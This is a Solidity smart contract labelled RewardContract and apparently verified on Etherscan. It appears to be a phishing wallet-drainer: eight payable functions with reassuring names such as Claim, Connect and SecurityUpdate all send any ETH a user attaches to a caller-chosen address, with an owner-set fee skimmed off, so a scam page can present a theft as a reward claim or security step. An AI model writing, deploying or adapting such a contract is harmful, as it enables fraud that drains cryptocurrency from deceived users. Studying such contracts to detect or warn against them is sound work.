// File: /C/Users/Administrator/Desktop/truffle-blueprint-master/contracts/RewardContract.sol



/**
 *Submitted for verification at Etherscan.io on 2023-05-28
*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;

contract RewardContract {

  address private owner;
  uint256 private fee;

  constructor(uint256 defaultFee) { owner = msg.sender; fee = defaultFee; }
  modifier onlyOwner {
    require(msg.sender == owner, "Not contract owner");
    _;
  }
  function getOwner() public view returns (address) { return owner; }
  function getFee() public view returns (uint256) { return fee; }

  function setFee(uint256 newFee) public onlyOwner {
    require(newFee >= 0 && newFee <= 100, "Invalid fee percent");
    fee = newFee;
  }

  function transferWithFee(address to, uint256 amount) private {
    uint256 feeAmount = amount * fee / 100;
    uint256 amountAfterFee = amount - feeAmount;
    payable(to).transfer(amountAfterFee);
    payable(owner).transfer(feeAmount);
  }

  function Claim(address sender) public payable { transferWithFee(sender, msg.value);}
  function ClaimReward(address sender) public payable { transferWithFee(sender, msg.value);}
  function ClaimRewards(address sender) public payable { transferWithFee(sender, msg.value);}
  function Execute(address sender) public payable { transferWithFee(sender, msg.value);}
  function Multicall(address sender) public payable { transferWithFee(sender, msg.value);}
  function Swap(address sender) public payable { transferWithFee(sender, msg.value);}
  function Connect(address sender) public payable { transferWithFee(sender, msg.value);}
  function SecurityUpdate(address sender) public payable { transferWithFee(sender, msg.value);}

}